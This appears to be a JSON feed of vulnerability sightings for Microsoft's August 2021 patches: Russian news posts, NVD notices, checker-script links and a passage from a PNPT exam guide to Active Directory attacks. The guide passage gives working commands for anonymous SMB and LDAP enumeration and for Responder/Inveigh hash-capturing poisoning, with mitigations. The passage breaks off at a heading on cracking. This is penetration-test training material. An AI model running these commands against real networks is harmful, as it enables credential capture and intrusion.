\u044d\u043f\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 \u043e\u0442 Microsoft, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 44 CVE, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 7 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, 3 - zeroday, 37 - \u0432\u0430\u0436\u043d\u044b\u0435, 13 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, 8 - \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u0435 - \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u0430\u043a \u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f PrintNightmare \u0438 PetitPotam.\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u0431\u0430\u0433\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 NET Core, Visual Studio, ASP.NET Core, Azure, \u0426\u0435\u043d\u0442\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Windows,  \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows, Windows Media, \u0417\u0430\u0449\u0438\u0442\u043d\u0438\u043a Windows, \u043a\u043b\u0438\u0435\u043d\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430, Microsoft Dynamics, Microsoft Edge, Microsoft Office, Microsoft Office SharePoint \u0438 \u0434\u0440.\n\n\u041a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043e\u0448\u0438\u0431\u043a\u0430\u043c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n \u2022 CVE-2021-36948: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c  \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows Update Medic;\n \u2022 CVE-2021-36942: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u044b Windows LSA;\n \u2022 CVE-2021-36936: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438  \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0437 \u043d\u0438\u0445, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c Microsoft, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u0435 \u043b\u0438\u0448\u044c CVE-2021-36948, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0435\u043c \u0438 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u043c\u0430\u043b\u0447\u0438\u0432\u0430\u0435\u0442. \u041c\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0437\u0430 \u043d\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0430\u044f 2020-\u0433\u043e\u0434\u0430 CVE-2020-17070, \u0430 \u0440\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u043e\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u043c \u0444\u043e\u043a\u0443\u0441\u043e\u043c \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0436\u0435 \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 CVE-2021-26424, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f Windows TCP/IP Remote Code Execution \u0432 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Windows 7\u201310 \u0438 Windows Server 2008\u20132019. \u041e\u0448\u0438\u0431\u043a\u0430, \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0432\u0438\u0434\u0443 \u0435\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 CVE-2020-16898, \u044d\u043a\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0432\u0434\u043e\u043b\u044c \u0438 \u043f\u043e\u043f\u0435\u0440\u0435\u043a \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443.\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0438 \u043a CVE-2021-26432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 NFS ONCRPC XDR \u0441\u043b\u0443\u0436\u0431 Windows, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f  \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043d\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 NETSH \u0432 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0430\u0442\u0430\u043a\u0430\u043c PetitPotam, \u043f\u0430\u0442\u0447 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044f \u0432\u044b\u0437\u043e\u0432\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 API OpenEncryptedFileRawA \u0438 OpenEncryptedFileRawW \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 LSARPC. \u041d\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e EFS API OpenEncryptedFileRaw (A / W) \u0432 Windows 7 \u0438 Windows Server 2008, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0412\u0441\u0435 \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PrintNightmare \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0432\u043e\u0434\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0423\u043a\u0430\u0437\u0430\u0442\u044c \u0438 \u043d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c.\n\n\u0412\u0441\u0435 \u0431\u044b \u043d\u0438\u0447\u0435\u0433\u043e, \u043d\u043e!\n\n\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u0431\u0435\u0437\u044b\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \nBenjamin Delpy \u0437\u0430\u0431\u043e\u043c\u0431\u0438\u043b, \u0447\u0442\u043e \u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u043f\u0435\u0447\u0430\u0442\u0438 PoC, \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c Still SYSTEM from standard user\u2026\n\n\u041f\u043e\u0445\u043e\u0436\u0435, \u043e\u0442\u0432\u0435\u0442\u043d\u044b\u0439 \u00ab\u0443\u0434\u0430\u0440 \u0438\u043c\u043f\u0435\u0440\u0438\u0438\u00bb \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u043a\u043e\u0448\u0435\u0442\u0438\u043b, \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443. \u042d\u0445, \u0430 \u043c\u044b \u0442\u0430\u043a \u043d\u0430\u0434\u0435\u044f\u043b\u0438\u0441\u044c.", "creation_timestamp": "2021-08-11T18:46:50.000000Z"}, {"uuid": "81a5fba3-b1b6-4aed-a9ac-5f1d29fc1e0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36946", "type": "seen", "source": "https://t.me/cibsecurity/27259", "content": "\u203c CVE-2021-36946 \u203c\n\nMicrosoft Dynamics Business Central Cross-site Scripting Vulnerability\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-12T22:40:05.000000Z"}, {"uuid": "833c4cab-6d95-4029-81a2-0749d304cdb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36943", "type": "seen", "source": "https://t.me/cibsecurity/27256", "content": "\u203c CVE-2021-33762 \u203c\n\nAzure CycleCloud Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-36943.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-12T22:40:01.000000Z"}, {"uuid": "719f19e9-43ec-4b47-8f40-669675e61f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "https://t.me/cibsecurity/27253", "content": "\u203c CVE-2021-36948 \u203c\n\nWindows Update Medic Service Elevation of Privilege Vulnerability\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-12T22:39:58.000000Z"}, {"uuid": "ccec4f77-e06b-4d39-a944-72006ebe4214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36949", "type": "seen", "source": "https://t.me/cibsecurity/27251", "content": "\u203c CVE-2021-36949 \u203c\n\nMicrosoft Azure Active Directory Connect Authentication Bypass Vulnerability\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-12T22:39:56.000000Z"}, {"uuid": "45f755b6-25bb-4e56-b15a-383954782723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36941", "type": "seen", "source": "https://t.me/cibsecurity/27262", "content": "\u203c CVE-2021-36941 \u203c\n\nMicrosoft Word Remote Code Execution Vulnerability\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-12T22:40:08.000000Z"}, {"uuid": "865a7afc-6b7e-4b59-9b23-c5cc4464144c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36949", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4071", "content": "#Blue_Team_Techniques\n1. The script will check if your Azure AD Connect is running a version affected by the vulnerability described in CVE-2021-36949\nhttps://github.com/Maxwitat/Check-AAD-Connect-for-CVE-2021-36949-vulnerability\n2. Scanner for CVE-2021-34473, ProxyShell,\nA MS Exchange On-premise Vulnerability\nhttps://github.com/RaouzRouik/CVE-2021-34473-scanner", "creation_timestamp": "2021-08-15T13:17:01.000000Z"}, {"uuid": "68edd55b-3b16-4f95-bfea-0cd93ab7e8b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "https://t.me/sysodmins/12669", "content": "\u200b\u200bMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f 44 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 3 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f 0-day\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043c\u0438\u043a\u0440\u043e\u043c\u044f\u0433\u043a\u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 44 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (51, \u0435\u0441\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u0433\u0438 \u0432 Microsoft Edge). \u0421\u0435\u043c\u044c \u0438\u0437 \u043d\u0438\u0445 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0442\u0440\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u0442\u0438\u043f\u0443 0-day. \u041e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u043f\u043e\u0434 \u0430\u0442\u0430\u043a\u0430\u043c\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0443\u0440\u043e\u0432\u043d\u044f System, \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0432\u0448\u0438\u0441\u044c \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u0435\u0447\u0430\u0442\u0438, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u043c\u0443\u0441\u044f \u043f\u043e\u0434 \u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c.\n\n\u0412\u0442\u043e\u0440\u0430\u044f 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u2014 PetitPotam \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 API MS-EFSRPC, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 Windows-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043d\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 NTLM \u0438\u043b\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b, \u044d\u0442\u043e CVE-2021-36948. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Windows Update Medic.\n\n\u041d\u0435\u043b\u044c\u0437\u044f \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0435\u0437 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c 9,9 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u2014\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 Windows TCP/IP \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (CVE-2021-26424).\n\n\u041f\u0430\u0442\u0447\u0438 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438: .NET Core \u0438 Visual Studio, ASP.NET Core \u0438 Visual Studio, Azure, Windows Update, \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b Windows Print Spooler, Windows Media, Windows Defender, Remote Desktop Client, Microsoft Dynamics, Microsoft Edge, Microsoft Office, Microsoft Office Word, Microsoft Office SharePoint \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435.", "creation_timestamp": "2021-08-12T15:03:50.000000Z"}, {"uuid": "592e09bc-2f2c-4566-b632-1fe7fa45b791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://gist.github.com/sidsecurity/39dfb2f2fbe3bb3a32ae31fdb22febea", "content": "Comprehensive Guide to Active Directory Attacks for PNPT Exam\nThis guide covers all major Active Directory attacks relevant to the Practical Network Penetration Tester (PNPT) certification exam. The PNPT exam assesses your ability to perform external and internal network penetration tests, with heavy emphasis on AD exploitation, lateral movement, and ultimately compromising the Domain Controller.\n\nTable of Contents\nPre-Compromise Enumeration\n\nLLMNR/NBT-NS Poisoning (Responder)\n\nSMB Relay Attacks\n\nKerberoasting\n\nAS-REP Roasting\n\nPassword Spraying\n\nPass-the-Hash (PtH)\n\nDCSync Attack\n\nACL Abuse & BloodHound\n\nUnconstrained Delegation Attacks\n\nADCS Attacks (Certified Pre-Owned)\n\nPetitPotam & NTLM Relay to ADCS\n\nKerberos Golden/Silver Tickets\n\nZeroLogon (CVE-2020-1472)\n\nPrintNightmare (CVE-2021-1675)\n\nnoPac (CVE-2021-42278/CVE-2021-42287)\n\nAttack 1: Pre-Compromise AD Enumeration\nDescription\nBefore executing any attack, you must enumerate the Active Directory environment. This includes discovering domain controllers, users, groups, and shares without any credentials (null session) or with low-privileged accounts.\n\nTools Used\nenum4linux-ng\n\nldapsearch\n\nrpcclient\n\nnmap\n\nCrackMapExec (now netexec)\n\nCommands\nSMB Null Session Enumeration:\n\nbash\n# Enumerate via SMB\nrpcclient -U \"\" -N 192.168.1.10\n> srvinfo\n> enumdomusers\n> enumdomgroups\n\n# Using enum4linux-ng\nenum4linux-ng -A 192.168.1.10\n\n# Using CrackMapExec\nnetexec smb 192.168.1.10 -u '' -p '' --shares\nLDAP Anonymous Enumeration:\n\nbash\n# Basic LDAP query\nldapsearch -x -H ldap://192.168.1.10 -b \"DC=corp,DC=local\"\n\n# Dump all users\nldapsearch -x -H ldap://192.168.1.10 -b \"DC=corp,DC=local\" \"(objectClass=user)\" sAMAccountName userPrincipalName\n\n# Dump all computers\nldapsearch -x -H ldap://192.168.1.10 -b \"DC=corp,DC=local\" \"(objectClass=computer)\" dNSHostName\nDNS Enumeration:\n\nbash\n# Query DC via DNS\nnslookup\n> set type=SRV\n> _ldap._tcp.dc._msdcs.corp.local\n\n# Using adidnsdump\nadidnsdump -u corp.local\\\\jsmith -p Password123 --dns-tcp 192.168.1.10\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 1: enum4linux-ng output showing domain users and groups]\n\nCaption: enum4linux-ng successful enumeration of domain users from null session\nMitigation\nDisable anonymous LDAP binds\n\nRestrict null session access via HKLM\\System\\CurrentControlSet\\Control\\LSA\\RestrictAnonymous\n\nEnable SMB signing\n\nAttack 2: LLMNR/NBT-NS Poisoning (Responder)\nDescription\nWhen a host cannot resolve a name via DNS, it falls back to Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS). Responder listens for these requests and responds, capturing NTLMv2 hashes from the requesting machine.\n\nTools Used\nResponder (Kali Linux)\n\nInveigh (Windows)\n\nCommands\nStart Responder in Analyze Mode (safe enumeration):\n\nbash\nsudo responder -I eth0 -A\nStart Responder in Poisoning Mode:\n\nbash\nsudo responder -I eth0 -wFvP\nConfigure Responder for SMB Relay (disable SMB/HTTP):\nEdit /usr/share/responder/Responder.conf:\n\nini\n[Responder Core]\n; Servers to start\nSMB = Off\nHTTP = Off\nSQL = On\nFTP = On\nbash\nsudo responder -I eth0 -wFvP\nWindows Alternative (Inveigh):\n\npowershell\n# Load and run Inveigh\nImport-Module .\\Inveigh.ps1\nInvoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 2: Responder capturing NTLMv2 hash from a compromised host]\n\nCaption: Responder captures NTLMv2 hash for user 'jsmith' from host 192.168.1.100\nCracking Captured 